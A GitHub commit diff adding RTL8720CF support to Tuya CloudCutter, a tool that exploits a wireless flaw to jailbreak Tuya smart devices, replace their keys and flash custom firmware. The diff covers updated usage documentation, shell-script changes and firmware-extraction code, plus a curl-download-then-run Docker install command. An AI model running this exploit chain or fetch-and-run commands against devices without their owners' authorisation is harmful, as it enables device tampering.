Add RTL8720CF support (#857)

* Initial RTL8720CF support

* Fix RTL8720CF_OTA file validation.

* be a bit more robust on chip string matching

* Really rough refactor of haxomatic for RTL8720CF, not complete.

* Update RTL8720CF 2.3.0 haxomatic hex match strings

* Remove length validation from authkey/uuid so it can work with both Tuya and CloudCutter generated keys.

* Fix bk7231 string detection
Add second RTL8720CF 2.3.0 profile

* Refactor haxomatic to be more modular and maintainable.

* haxomatic - minor cleanup

* profile-building - Pull PSK when pulling schema.

* Haxomatic - Search all binaries for patch patterns.
Update known RTL8720CF match pattern identifiers.

* Change network to custom 10.204.0.1/24 network (204 = 0xCC)
Send multiple DNS servers, which may help devices that hang after DHCP
Spend less time sending wifi connect requests so AP can start listening sooner.

* Update exploit for new offsets.

* Haxomatic - Add 1.0.x SDK

* Update haxomatic for newer found patterns.

* Minor tweaks

* Updates to profile-building

* Add storage parsing to extract_rtl8720cf

* Switch to bk7231tools to extract rtl8720cf storage to remove an unneeded dependency.

* remove debug code

* Add special case for sdk identification for single build missing standard string.

* Find swv before device_class, as we may want to search directly after it.

* Update comments, seek entire bin for storage.

* Add missing new address in profile.
Add ability to process inactive OTA app.

* Update documentation.

* fix typo.

* Fix a type in beken extract.

* Add haxomatic pattern for oddball BK7231N 2.3.1 SDK.

* Haxomatic - Add RTL8720CF 2.3.1 SDK pattern.

* Fix copy/paste typo

* profile-building - proceess_app - add more device class match strings.

* one more

* profile-building - better log SDK data

* Add a special thanks section.

* fix typo

* Clean up documentation.

* documentation - use numbered lists.

* process_app - add another device class identifier.
This commit is contained in:
Cossid
2025-11-25 17:18:58 -06:00
committed by GitHub
parent 40d0b4388d
commit b28723ae61
21 changed files with 1479 additions and 393 deletions

View File

@@ -10,32 +10,34 @@ Use these instruction if:
Steps:
1. Use Raspberry Pi Imager to burn "Raspberry Pi OS Lite (32 Bit)" to an SD card
- As of this note, 2022-04-04 build of Bullseye
- A 4GB SD card is required to have enough space for the OS and building the Docker image.
- If using SSH, enable it (using the installer or making an empty file `ssh` on the boot partition)
- As of this note, 2022-04-04 build of Bullseye
- A 4GB SD card is required to have enough space for the OS and building the Docker image.
- If using SSH, enable it (using the installer or making an empty file `ssh` on the boot partition)
2. Access the pi (SSH or keyboard + monitor)
3. Install Network Manager (only reboot once all files are in place)
- `sudo apt update && sudo apt install network-manager`
- `sudo nano /etc/dhcpcd.conf` then add line `denyinterfaces wlan0`
- `sudo nano /etc/NetworkManager/NetworkManager.conf` and make it look exactly like
```
[main]
plugins=ifupdown,keyfile
dhcp=internal
- `sudo apt update && sudo apt install network-manager`
- `sudo nano /etc/dhcpcd.conf` then add line `denyinterfaces wlan0`
- `sudo nano /etc/NetworkManager/NetworkManager.conf` and make it look exactly like
```text
[main]
plugins=ifupdown,keyfile
dhcp=internal
[ifupdown]
managed=true
```
[ifupdown]
managed=true
```
4. Reboot the pi `sudo reboot` then reaccess.
5. Make sure network manager is enabled and running:
- `sudo systemctl enable NetworkManager.service`
- `sudo systemctl start NetworkManager.service`
7. Install Docker with `curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh`
8. Install git `sudo apt install git`
9. Clone tuya-cloudcutter repo `git clone https://github.com/tuya-cloudcutter/tuya-cloudcutter`
10. Go to cloned tuya-cloudcutter repo `cd tuya-cloudcutter`
11. (Optional as independent step) In the cloudcutter directory, build the docker image `sudo docker build --network=host -t cloudcutter .`
12. Run cloudcutter with `sudo ./tuya-cloudcutter.sh -r ...` (refer to [usage instructions](./INSTRUCTIONS.md))
- `sudo systemctl enable NetworkManager.service`
- `sudo systemctl start NetworkManager.service`
6. Install Docker with `curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh`
7. Install git `sudo apt install git`
8. Clone tuya-cloudcutter repo `git clone https://github.com/tuya-cloudcutter/tuya-cloudcutter`
9. Go to cloned tuya-cloudcutter repo `cd tuya-cloudcutter`
10. (Optional as independent step) In the cloudcutter directory, build the docker image `sudo docker build --network=host -t cloudcutter .`
11. Run CloudCutter with `sudo ./tuya-cloudcutter.sh -r ...` (refer to [usage instructions](./INSTRUCTIONS.md))
## Pi Zero 2W with SSH over USB
@@ -46,38 +48,40 @@ Use these instructions if:
Steps:
1. Use Raspberry Pi Imager to burn "Raspberry Pi OS Lite (32 Bit)" to an SD card
- As of this note, 2022-04-04 build of Bullseye
- A 4GB SD card is required to have enough space for the OS and building the Docker image.
- Set a hostname like `piusb` (something you'll remember)
- Enable SSH (using the installer or making an empty file `ssh` on the boot partition)
- As of this note, 2022-04-04 build of Bullseye
- A 4GB SD card is required to have enough space for the OS and building the Docker image.
- Set a hostname like `piusb` (something you'll remember)
- Enable SSH (using the installer or making an empty file `ssh` on the boot partition)
2. Edit `config.txt` and `cmdline.txt` on the boot partition to enable USB SSG (Gadget Mode)
- Add `dtoverlay=dwc2` to the very end of `config.txt`
- Add `modules-load=dwc2,g_ether` in `cmdline.txt` after `rootwait` before anything else.
- Ref: https://learn.adafruit.com/turning-your-raspberry-pi-zero-into-a-usb-gadget/ethernet-gadget
- Ref: https://desertbot.io/blog/headless-pi-zero-ssh-access-over-usb-windows
- Add `dtoverlay=dwc2` to the very end of `config.txt`
- Add `modules-load=dwc2,g_ether` in `cmdline.txt` after `rootwait` before anything else.
- Ref: https://learn.adafruit.com/turning-your-raspberry-pi-zero-into-a-usb-gadget/ethernet-gadget
- Ref: https://desertbot.io/blog/headless-pi-zero-ssh-access-over-usb-windows
3. Power the Pi and connect with Micro USB cable to a computer
- May need to get the right drivers: https://raspberrypi.stackexchange.com/questions/89400/cannot-ssh-raspberry-pi-zero-w-on-windows-via-usb
- May need to get the right drivers: https://raspberrypi.stackexchange.com/questions/89400/cannot-ssh-raspberry-pi-zero-w-on-windows-via-usb
4. Connect using ssh to `piusb.local` (or whatever hostname you chose)
5. Share your computers network with the Pi
6. Install Network Manager (only reboot once all files are in place)
- `sudo apt update && sudo apt install network-manager`
- `sudo nano /etc/dhcpcd.conf` then add line `denyinterfaces wlan0`
- `sudo nano /etc/NetworkManager/NetworkManager.conf` and make it look exactly like
```
[main]
plugins=ifupdown,keyfile
dhcp=internal
- `sudo apt update && sudo apt install network-manager`
- `sudo nano /etc/dhcpcd.conf` then add line `denyinterfaces wlan0`
- `sudo nano /etc/NetworkManager/NetworkManager.conf` and make it look exactly like
[ifupdown]
managed=true
```text
[main]
plugins=ifupdown,keyfile
dhcp=internal
[ifupdown]
managed=true
[keyfile]
unmanaged-devices=interface-name:usb*
```
[keyfile]
unmanaged-devices=interface-name:usb*
```
7. Reboot the Pi `sudo reboot` then reconnect over ssh
8. Install Docker with `curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh`
9. Install git `sudo apt install git`
10. Clone tuya-cloudcutter repo `git clone https://github.com/tuya-cloudcutter/tuya-cloudcutter`
11. Go to cloned tuya-cloudcutter repo `cd tuya-cloudcutter`
12. (Optional as independent step) In the cloudcutter directory, build the docker image `sudo docker build --network=host -t cloudcutter .`
13. Run cloudcutter with `sudo ./tuya-cloudcutter.sh -r ...` (refer to [usage instructions](./INSTRUCTIONS.md))
13. Run CloudCutter with `sudo ./tuya-cloudcutter.sh -r ...` (refer to [usage instructions](./INSTRUCTIONS.md))

View File

@@ -1,13 +1,18 @@
# Instructions
## Disabling cloud connection & running locally
Here we describe how to use tuya-cloudcutter to jailbreak Tuya IoT devices by replacing their security keys. This prevents them from communicating with Tuya cloud servers, and allows you to control them via your local network instead.
Here we describe how to use Tuya CloudCutter to jailbreak Tuya IoT devices by replacing their security keys. This prevents them from communicating with Tuya cloud servers, and allows you to control them via your local network instead.
### 🚨 ⚠️ WARNING⚠ 🚨
**Using cloudcutter means that you will NO LONGER be able to use Tuya's apps and servers. Be absolutely sure that you are never going to use them again!**
**Using Tuya CloudCutter means that you will NO LONGER be able to use Tuya's apps and servers. Be absolutely sure that you are never going to use them again!**
### Prerequisites
* A laptop or computer with a WiFi adapter
* Running (non-virtualized) Ubuntu (other distros with NetworkManager might also work, untested. VMs might work if you passthrough WiFi adapter.)
* Docker should be installed, and your user should be part of the "docker" group (reboot if you've just installed Docker, to reload the user groups.)
- A laptop or computer with a WiFi adapter
- Running (non-virtualized) Ubuntu (other distributions with NetworkManager might also work, untested. VMs might work if you passthrough WiFi adapter.)
- Docker should be installed, and your user should be part of the "docker" group (reboot if you've just installed Docker, to reload the user groups.)
**Note**: the script mentioned below can also be run in interactive mode, i.e. without any parameters, in which the user will be asked to choose one of available options.
@@ -16,46 +21,50 @@ Here we describe how to use tuya-cloudcutter to jailbreak Tuya IoT devices by re
Find the device you have in the [list of available devices](https://github.com/tuya-cloudcutter/tuya-cloudcutter.github.io/tree/master/devices). Note the device name, i.e. a lowercase, alphanumeric string like `avatar-asl04-tv-backlight` (without the .json extension).
If you don't know the exact device model, or your device does not have any available profile, you can choose the device by firmware version:
- open the Tuya Smart/SmartLife app
- click on the device (even if it's offline)
- press the "edit" pencil (top-right corner)
- choose "Device Update"
- note the "Main Module" version number
1. open the Tuya Smart/SmartLife app
2. click on the device (even if it's offline)
3. press the "edit" pencil (top-right corner)
4. choose "Device Update"
5. note the "Main Module" version number
Knowing this, you can run `sudo ./tuya-cloudcutter.sh` without any parameters. Then, use the `By firmware version and name` option and choose the version you found.
### Running the toolchain
* Download or git clone this repository
* Open a terminal and `cd` into the repository to make it your working directory
* Run `sudo ./tuya-cloudcutter.sh -s <SSID> <SSID password>`, where SSID/password is the name of the access point you want the Tuya device to join.
* You can specify the device profile name using `-p my-device-name`; otherwise an interactive menu will be shown.
* **If your SSID and/or password have special characters like $ ! or @, make sure to pass them with ' characters, e.g. 'P@$$W0rD!'. If it has the ' character then also make sure to escape that, with bash that'd be `'P@$$W0rD!'"'"' 1234'` to use the password `P@$$W0rD!' 1234`** **Optionally run with parameter -r to reset NetworkManager connections, which may help with some wifi adaptors ( sudo ./tuya-cloudcutter.sh -r -s <SSID> <SSID password> )**
* If you wish to set a custom deviceid or localkey, prepend these parameters like so: `sudo ./tuya-cloudcutter.sh -d 20characterdeviceid -l 16characterlocalkey -s <SSID> <SSID password>`, Note, localtuya in homeassistant currently requires unique deviceid to work.
* When instructed, put your Tuya device in _AP Mode_. This can usually be accomplished by either:
* Toggling it off and on again 6 times, with around 1 second in between each toggle. If it's a light bulb, it will blink _slowly_. If it blinks _quickly_, power cycle it 3 more times.
* Long pressing the power/reset button on the device until it starts fast-blinking, then releasing, and then holding the power/reset button again until the device starts slow-blinking.
* The script will automatically connect to your light (assuming it creates a "SmartLife-*" SSID. If not, let us know.) and run the exploit that replaces the security keys (now it can't connect to the cloud anymore)
* The exploit freezes the light. It will reboot back into AP mode if left alone, and you can speed this up by power cycling it yourself one time
* The script will start up an access point of its own called "cloudcutterflash", using your WiFi adapter
* Turn the device off and on again once. It will enter AP mode again. If it doesn't, power cycle it 6 times to enter AP mode. The script will now make the device connect to our "cloudcutterflash" AP.
* Once the device connects (can take up to a minute), the script will set up your device's local access keys, and configure it to join the SSID you passed as an argument to the script
* You should see the activation requests show up in the terminal as cloudcutter configures the device
* **Note:** If you don't see anything show up for longer than 2 minutes, power cycle the device to enter AP mode again and use one of the "SmartLife" compatible apps to instruct the device to connnect to the "cloudcutterflash" AP. The password for that AP is "abcdabcd" (without the " characters).
* Your Tuya device should now be completely cut off from the cloud, and be locally controllable on your network using e.g. `tinytuya`
* The randomly generated keys you need to connect to your device can be found in the `configured-devices` folder
* Enjoy!
1. Download or git clone this repository
2. Open a terminal and `cd` into the repository to make it your working directory
3. Run `sudo ./tuya-cloudcutter.sh -s <SSID> <SSID password>`, where SSID/password is the name of the access point you want the Tuya device to join.
- You can specify the device profile name using `-p my-device-name`; otherwise an interactive menu will be shown.
- **If your SSID and/or password have special characters like $ ! or @, make sure to pass them with ' characters, e.g. 'P@$$W0rD!'. If it has the ' character then also make sure to escape that, with bash that'd be `'P@$$W0rD!'"'"' 1234'` to use the password `P@$$W0rD!' 1234`** **Optionally run with parameter -r to reset NetworkManager connections, which may help with some wifi adaptors ( sudo ./tuya-cloudcutter.sh -r -s <SSID> <SSID password> )**
- If you wish to set a custom deviceid or localkey, prepend these parameters like so: `sudo ./tuya-cloudcutter.sh -d 20characterdeviceid -l 16characterlocalkey -s <SSID> <SSID password>`, Note, localtuya in homeassistant currently requires unique deviceid to work.
4. When instructed, put your Tuya device in _AP Mode_. This can usually be accomplished by either:
- Toggling it off and on again 6 times, with around 1 second in between each toggle. If it's a light bulb, it will blink _slowly_. If it blinks _quickly_, power cycle it 3 more times.
- Long pressing the power/reset button on the device until it starts fast-blinking, then releasing, and then holding the power/reset button again until the device starts slow-blinking.
5. The script will automatically connect to your light (assuming it creates a "SmartLife-*" SSID. If not, let us know.) and run the exploit that replaces the security keys (now it can't connect to the cloud anymore)
6. The exploit freezes the light. It will reboot back into AP mode if left alone, and you can speed this up by power cycling it yourself one time
7. The script will start up an access point of its own called "cloudcutterflash", using your WiFi adapter
8. Turn the device off and on again once. It will enter AP mode again. If it doesn't, power cycle it 6 times to enter AP mode. The script will now make the device connect to our "cloudcutterflash" AP.
9. Once the device connects (can take up to a minute), the script will set up your device's local access keys, and configure it to join the SSID you passed as an argument to the script
10. You should see the activation requests show up in the terminal as cloudcutter configures the device
11. **Note:** If you don't see anything show up for longer than 2 minutes, power cycle the device to enter AP mode again and use one of the "SmartLife" compatible apps to instruct the device to connect to the "cloudcutterflash" AP. The password for that AP is "abcdabcd" (without the " characters).
12. Your Tuya device should now be completely cut off from the cloud, and be locally controllable on your network using e.g. `tinytuya`
13. The randomly generated keys you need to connect to your device can be found in the `configured-devices` folder
14. Enjoy!
-------
## Flashing custom firmware
* Copy your new firmware .bin file (UG or UF2 files only!) to ./custom-firmware
* Find your device name, as instructed in the steps above.
* Run `sudo ./tuya-cloudcutter.sh`. You can specify device profile name and firmware file using `-p` and `-f`, respectively (this is optional). Example: `sudo ./tuya-cloudcutter.sh -p avatar-asl04-tv-backlight -f custom_firmware_file.bin`
* Follow the instructions from the script to turn off/on your device 6 times during 2 steps (similar to the steps above)
* If all goes well, your device is now running your custom firmware, enjoy!
1. Copy your new firmware .bin file (UG or UF2 files only!) to ./custom-firmware
2. Find your device name, as instructed in the steps above.
3. Run `sudo ./tuya-cloudcutter.sh`. You can specify device profile name and firmware file using `-p` and `-f`, respectively (this is optional). Example: `sudo ./tuya-cloudcutter.sh -p avatar-asl04-tv-backlight -f custom_firmware_file.bin`
4. Follow the instructions from the script to turn off/on your device 6 times during 2 steps (similar to the steps above)
5. If all goes well, your device is now running your custom firmware, enjoy!
### Custom firmware options

View File

@@ -1,57 +1,74 @@
# Tuya Cloudcutter
This repository contains the toolchain to exploit a wireless vulnerability that can jailbreak some of the latest smart devices built with the bk7231 chipset under various brand names by Tuya. The vulnerability as well as the exploitation tooling were identified and created by [Khaled Nassar](https://twitter.com/kmhnassar) and [Tom Clement](https://twitter.com/Tom_Clement) with support from [Jilles Groenendijk](https://twitter.com/jilles_com).
This repository contains the toolchain to exploit a wireless vulnerability that can jailbreak some of the latest smart devices built with the Beken BK7231 (BK7231T,BK7231N) or Realtek RTL8720CF chipsets under various brand names by Tuya. The vulnerability as well as the exploitation tooling were identified and created by [Khaled Nassar](https://rb9.nl/) and [Tom Clement](https://github.com/tjclement) with support from [Jilles Groenendijk](https://jilles.com/).
Our tool disconnects Tuya devices from the cloud, allowing them to run completely locally. Additionally, it can be used to flash custom firmware to devices over-the-air.
Do you like this tool? Please consider giving it a star on Github so it reaches more people. ✨
## ⚠️ WARNING⚠
**Using cloudcutter means that you will NO LONGER be able to use Tuya's apps and servers. Be absolutely sure that you are never going to use them again!**
Additionally, please be aware that this software is experimental and provided without any guarantees from the authors strictly for peronal and educational use. If you will still use it, then you agree that:
**Using Tuya CloudCutter means that you will NO LONGER be able to use Tuya's apps and servers. Be absolutely sure that you are never going to use them again!**
Additionally, please be aware that this software is experimental and provided without any guarantees from the authors strictly for personal and educational use. If you will still use it, then you agree that:
1. You understand what the software is doing
2. You choose to use it at your own risk
3. The authors cannot be held accountable for any damages that arise
## How does it work?
If you're curious about the vulnerability and how the exploit chain works, here's the [detailed writeup](https://rb9.nl/posts/2022-03-29-light-jailbreaking-exploiting-tuya-iot-devices/) and the [proof of concept script](./proof-of-concept/poc.py).
## Requirements
* A device with a stand-alone wifi adapter (but not be your primary source of networking, ethernet is preferred for that)
* An account with sudo / elevated privlidges - An account capable of making network setting changes.
* NetworkManager / nmcli - This is used to scan for Tuya APs, connect to them, and host a CloudCutter AP to run the exploit. If you run into issues, make sure your NetworkManager service is started. You may need to use the `-r` parameter if you continue to have issues.
* Docker / Docker CLI package - This is used to create a controlled python environment to handle and run the exploit
* An active internet connection (Somewhat optional) - This is used to download the packages to build the docker container and to download new device profiles.
- A device with a stand-alone wifi adapter (but not be your primary source of networking, ethernet is preferred for that)
- An account with sudo / elevated privileges - An account capable of making network setting changes.
- NetworkManager / nmcli - This is used to scan for Tuya APs, connect to them, and host a CloudCutter AP to run the exploit. If you run into issues, make sure your NetworkManager service is started. You may need to use the `-r` parameter if you continue to have issues.
- Docker / Docker CLI package - This is used to create a controlled python environment to handle and run the exploit
- An active internet connection (Somewhat optional) - This is used to download the packages to build the docker container and to download new device profiles.
## Usage
Check out [usage instructions](./INSTRUCTIONS.md) for info about **flashing custom firmware** and local **cloud-less usage (detaching)**. There are also [some host specific instructions for setups on devices like a Raspberry Pi](./HOST_SPECIFIC_INSTRUCTIONS.md).
## Supported devices
- Unpatched Beken BK7231T (WB3S, WB3L, WB2S, etc)
- Unpatched Beken BK7231N (CB3S, CB3L, CB2S, CBU, etc)
- Unpatched Realtek RTL8720CF (WBR1, WBR2, WBR3, WBRU, etc)
- Note: This platform is newer, and we may not be able to generate profiles for all devices until more samples have been collected. Please feel free to submit full dumps to [issues](https://github.com/tuya-cloudcutter/tuya-cloudcutter/issues). Additionally, even if vulnerable, some devices may not be able to be exploited if required addresses within the exploit chain contain a null byte.
- Devices with [known secret values](running-with-known-secrets.md)
## FAQ
Please see the [FAQ](https://github.com/tuya-cloudcutter/tuya-cloudcutter/wiki/FAQ) section of the wiki for the most up-to-date questions and answers. This will cover many things like how to get your device into pairing mode, how to find more information about your device like the current firmware installed, and is expanding as new questions are asked/answered. Additionally, you may want to consider searching [issues](https://github.com/tuya-cloudcutter/tuya-cloudcutter/issues?q=is%3Aissue).
## Patched devices
Tuya has patched their SDK as of February 2022. Any device with a firmware compiled against a patched SDK will not be exploitable, but you can still apply 3rd party firmware via serial. For a list of known patched firmware/devices, see the [known patched firmware](https://github.com/tuya-cloudcutter/tuya-cloudcutter/wiki/Known-Patched-Firmware) wiki page.
## Contribution
We'd be happy to receive your contributions! One way to contribute if you already know your way around some binary exploitation or would like to get your hands into it is by building device profiles to support more exploitable devices. Check out the [detailed writeup](https://rb9.nl/posts/2022-03-29-light-jailbreaking-exploiting-tuya-iot-devices/) for the information about the vulnerability and exploit chain.
Additional work on expanding the [Lightleak](https://github.com/tuya-cloudcutter/lightleak) project, which can dump unexploited firmware, could use additional attention, as well as possibly expanding it to flash firmware, similiar to regular cloud-cutter as well. A port to bash/linux may also be useful.
### Device dumps
You can also contribute device dumps by [making an issue](https://github.com/tuya-cloudcutter/tuya-cloudcutter/issues) with a your device dump attached, **but be aware if your device was already onboarded on your WiFi AP**:
- If you don't want your SSID and/or SSID password to be out there, then it's best to dump a device that was onboarded on a dummy AP that you don't mind leaking the parameters for. Otherwise, you may also configure it on a dummy access point a few times before dumping it. This will greatly lower the chances of accidental leakage to anyone working on the building a profile from your device flash dump, **but it is never zero in this case**. As a rule of thumb, it's better to dump a fresh device which has been configured with a dummy AP, but if you still want to dump one that's in use on your home AP then know that you always run the risk of leaking your SSID and password.
- Another option, when having a device paired to SmartLife/TuyaSmart, is to open the app, click the pencil icon in the top-right corner, choose `Remove Device` and click `Disconnect and wipe data`.
~~Note that a dump made on a device which has been already activated on Tuya's app using any working SSID and password would simplify profile building a lot for contributors, so if possible please try to do so.~~
Flash dumps of devices that have never been joined to Smart Life (or disconnected with a data wipe) are now generally acceptable. In order to not potentially leak personal information, that may be the preferred way.
Tools to dump flash from devices:
- [ltchiptool](https://docs.libretiny.eu/docs/flashing/tools/ltchiptool/) - universal flashing/dumping GUI tool
- [BK7231Flasher](https://github.com/openshwprojects/BK7231GUIFlashTool) - GUI tool for firmware backup and flashing OpenBeken
- [bk7231tools](https://github.com/tuya-cloudcutter/bk7231tools) - original toolset for dumping and analyzing Beken binaries
- [Lightleak](https://github.com/tuya-cloudcutter/lightleak) - wireless dumping, still in development; testing is appreciated
- [ltchiptool](https://docs.libretiny.eu/docs/flashing/tools/ltchiptool/) - universal flashing/dumping GUI tool (Beken, RTL8720CF)
- [BK7231Flasher](https://github.com/openshwprojects/BK7231GUIFlashTool) - GUI tool for firmware backup and flashing OpenBeken (Beken, RTL8720CF)
- [bk7231tools](https://github.com/tuya-cloudcutter/bk7231tools) - original toolset for dumping and analyzing Beken binaries (Beken-only)
- [Lightleak](https://github.com/tuya-cloudcutter/lightleak) - wireless dumping, still in development; testing is appreciated (Beken-only)
**Note:** other tools, such as hid_download_py or BkWriter, create incomplete dumps, or have data out-of-order which makes processing more difficult. Please use the tools outlined above instead.
@@ -62,9 +79,24 @@ Tools to dump flash from devices:
Additionally, device profiles require a proper Datapoint ID (DPID) schema for local configuration with stock firmware. These can be pulled directly from flash on a device (config region starts at 0x1EF000 on BK7231 devices) if it has been configured to communicate with Tuya servers at least once, or through the profiler-builder scripts with the aid of an active Smart Life account. Profile builder's pull-schema.py script will walk you through the process. If you are not comfortable with this, just submit the full 2 MiB bin in an issue and a schema will be pulled and added.
### Testing if a device is exploitable
If you'd like to check if a device is exploitable, one way to lower the chance of having to pry open a device that's not exploitable is testing it out with [this test script](./proof-of-concept/test_device_exploitable.py). **The downside to this test is that it won't tell you if the device is BK7231 based or not, since it seems that RTL87{1,2}0 devices are also exploitable but so far no work has been done to support them.**
If you'd like to check if a device is exploitable, one way to lower the chance of having to pry open a device that's not exploitable is testing it out with [this test script](./proof-of-concept/test_device_exploitable.py). **The downside to this test is that it won't tell you if the device is BK7231, RTL8720CF, or based on some other chipset.**
## Previous work
- [Smart Home - Smart Hack (35c3 talk)](https://media.ccc.de/v/35c3-9723-smart_home_-_smart_hack) by Michael Steigerwald from [VRUST](https://www.vtrust.de/).
- [tuya-convert](https://github.com/ct-Open-Source/tuya-convert) - MQTT code for triggering firmware updates inspired by their work.
- [tinytuya](https://github.com/jasonacox/tinytuya) - modified version of the library is used to communicate with devices after exploitation.
## Special Thanks
A big thank you to all who have provided meaningful contributions to the success of the Tuya CloudCutter project. Those include, but are not limited to
- [Khaled Nassar](https://rb9.nl/) - Founder, exploit researcher, original script
- [Tom Clement](https://github.com/tjclement) - Founder, exploit researcher, original script
- [Jilles Groenendijk](https://jilles.com/) - Support for original tooling for dumping firmware
- [Kuba Szczodrzyński](https://github.com/kuba2k2/) - Lightleak, script improvements, additional tooling, LibreTiny/ESPHome implementation, and more.
- [divadiow](https://github.com/divadiow) - Firmware dump collection and device support organization
- [Jeremy Salwen](https://github.com/jeremysalwen/) - Exploit expansion to the RTL8720CF platform.
and many other [contributors](https://github.com/tuya-cloudcutter/tuya-cloudcutter/graphs/contributors) (and [here](https://github.com/tuya-cloudcutter/tuya-cloudcutter.github.io/graphs/contributors)) over the years!

View File

@@ -53,8 +53,8 @@ if ! [ -z "${FIRMWARE}" ]; then
echo "Selected Firmware: ${FIRMWARE}"
fi
if ! [ -z "${AUTHKEY}" ] && ! [ -z "${UUID}" ] && ! [ -z "${PSKKEY}" ]; then
echo "Using AuthKey ${AUTHKEY} , UUID ${UUID} , and PSKKey ${PSKKEY}"
if ! [ -z "${AUTHKEY}" ] && ! [ -z "${UUID}" ]; then
echo "Using AuthKey ${AUTHKEY} , UUID ${UUID}"
if ! [ -z "${DEVICEID}" ] && ! [ -z "${LOCALKEY}" ]; then
echo "Using DeviceId ${DEVICEID} and LocalKey ${LOCALKEY}"
fi
@@ -105,7 +105,17 @@ echo "Long press the power/reset button on the device until it starts fast-blink
echo "See https://support.tuya.com/en/help/_detail/K9hut3w10nby8 for more information."
echo "================================================================================"
echo ""
sleep 5
if [ "${CHIP^^}" == "RTL8720CF" ]; then
echo "${CHIP^^} *MUST* be rebooted before we even begin the next scan or you will receive false-positives about the status of the device."
echo ""
read -n 1 -s -r -p "Press any key to confirm you have completed power cycling the device and continue."
echo ""
echo "Continuing..."
else
sleep 5
fi
run_helper_script "pre-wifi-config"
wifi_connect
if [ ! $? -eq 0 ]; then
@@ -122,8 +132,9 @@ if [[ $AP_MATCHED_NAME != A-* ]] && [ -z "${AUTHKEY}" ]; then
exit 1
fi
# Add a minor delay to stabilize after connection
sleep 1
echo "Device is connecting to 'cloudcutterflash' access point. Passphrase for the AP is 'abcdabcd' (without ')"
# Add a minor delay to stabilize after connection, to make sure DHCP and such have finished
sleep 5
OUTPUT=$(run_in_docker pipenv run python3 -m cloudcutter configure_wifi "cloudcutterflash" "abcdabcd" "${VERBOSE_OUTPUT}")
RESULT=$?
echo "${OUTPUT}"
@@ -131,4 +142,3 @@ if [ ! $RESULT -eq 0 ]; then
echo "Oh no, something went wrong with making the device connect to our hostapd AP! Try again I guess..."
exit 1
fi
echo "Device is connecting to 'cloudcutterflash' access point. Passphrase for the AP is 'abcdabcd' (without ')"

Binary file not shown.

View File

@@ -0,0 +1 @@
{"t": 1640995200, "success": false}

View File

@@ -1,7 +1,9 @@
from enum import Enum
import os.path
import sys
import extract
import extract_beken
import extract_rtl8720cf
import generate_profile_classic
import haxomatic
import process_app
@@ -9,6 +11,10 @@ import process_storage
import pull_schema
class Platform(Enum):
BEKEN = "BEKEN",
RTL8720CF = "RTL8720CF"
def print_filename_instructions():
print('Encrypted bin name must be in the pattern of Manufacturer-Name_Model-and-device-description')
print('Use dashes in places of spaces, and if a dash (-) is present, replace it with 3 dashes (---)')
@@ -26,14 +32,21 @@ if __name__ == '__main__':
if len(sys.argv) > 2 and sys.argv[2] is not None:
token = sys.argv[2]
process_inactive_app = False
for arg in sys.argv:
if arg == '--inactive':
process_inactive_app = True
file = sys.argv[1]
output_dir = file.replace('.bin', '')
base_name = os.path.basename(output_dir)
dirname = os.path.dirname(file)
storage_file = os.path.join(dirname, base_name, base_name + '_storage.json')
app_file = os.path.join(dirname, base_name, base_name + '_app_1.00_decrypted.bin')
schema_id_file = os.path.join(dirname, base_name, base_name + '_schema_id.txt')
extracted_location = os.path.join(dirname, base_name)
base_name = os.path.basename(file.replace('.bin', ''))
extract_folder_name = base_name
if process_inactive_app:
extract_folder_name += '.inactive_app'
current_dirname = os.path.dirname(file)
storage_file = os.path.join(current_dirname, extract_folder_name, base_name + '_storage.json')
app_file = os.path.join(current_dirname, extract_folder_name, base_name + '_active_app.bin')
schema_id_file = os.path.join(current_dirname, extract_folder_name, base_name + '_schema_id.txt')
extracted_location = os.path.join(current_dirname, extract_folder_name)
if base_name.count('_') != 1 or base_name.count(' ') > 0:
print_filename_instructions()
@@ -41,9 +54,22 @@ if __name__ == '__main__':
print(f"[+] Processing {file=} as {base_name}")
extract.run(file)
extract_platform = None
with open(file, 'rb') as fs:
appcode = fs.read()
if appcode.find(b'Ameba', 0) > -1:
extract_platform = Platform.RTL8720CF
else:
extract_platform = Platform.BEKEN
if extract_platform == Platform.BEKEN:
extract_beken.run(file)
elif extract_platform == Platform.RTL8720CF:
extract_rtl8720cf.run(file, process_inactive_app)
else:
raise("no platform?")
haxomatic.run(app_file)
process_storage.run(storage_file)
process_storage.run(storage_file, process_inactive_app)
process_app.run(app_file)
if not os.path.exists(schema_id_file):

View File

@@ -33,71 +33,73 @@ def run(full_encrypted_file: str):
print('Examples: Tuya-Generic_DS---101-Touch-Switch.bin or Tuya-Generic_A60-E26-RGBCT-Bulb.bin')
sys.exit(1)
global current_dir, extractfolder, foldername
global current_dir
current_dir = os.path.dirname(full_encrypted_file)
output_dir = full_encrypted_file.replace('.bin', '')
extractfolder = os.path.abspath(output_dir)
foldername = os.path.basename(output_dir)
base_name = os.path.basename(full_encrypted_file.replace('.bin', ''))
extract_folder_name = base_name
extract_folder_path = os.path.abspath(extract_folder_name)
input = argparse.ArgumentParser()
input.layout = 'ota_1'
input.rbl = ''
input.file = full_encrypted_file
input.output_dir = os.path.join(extractfolder)
input.output_dir = os.path.join(extract_folder_path)
input.extract = True
input.storage = False
if not os.path.exists(extractfolder) or not os.path.exists(os.path.join(extractfolder, foldername + "_app_1.00_decrypted.bin")):
if not os.path.exists(extract_folder_path) or not os.path.exists(os.path.join(extract_folder_path, base_name + "_active_app.bin")):
try:
bk7231tools.__main__.dissect_dump_file(input)
except Exception as ex:
print(ex)
dirListing = os.listdir(extractfolder)
dirListing = os.listdir(extract_folder_path)
for file in dirListing:
if file.endswith('app_pattern_scan.bin'):
os.rename(os.path.join(extractfolder, file), os.path.join(extractfolder, file.replace('app_pattern_scan.bin', 'app_1.00.bin')))
os.rename(os.path.join(extract_folder_path, file), os.path.join(extract_folder_path, file.replace('app_pattern_scan.bin', 'app_1.00.bin')))
elif file.endswith('app_pattern_scan_decrypted.bin'):
os.rename(os.path.join(extractfolder, file), os.path.join(extractfolder, file.replace('app_pattern_scan_decrypted.bin', 'app_1.00_decrypted.bin')))
os.rename(os.path.join(extract_folder_path, file), os.path.join(extract_folder_path, file.replace('app_pattern_scan_decrypted.bin', 'active_app.bin')))
elif file.endswith('app_1.00_decrypted.bin'):
os.rename(os.path.join(extract_folder_path, file), os.path.join(extract_folder_path, file.replace('app_1.00_decrypted.bin', 'active_app.bin')))
issue = load_file("issue.txt")
if issue is not None:
with open(os.path.join(extractfolder, foldername + "_issue.txt"), 'w') as issueFile:
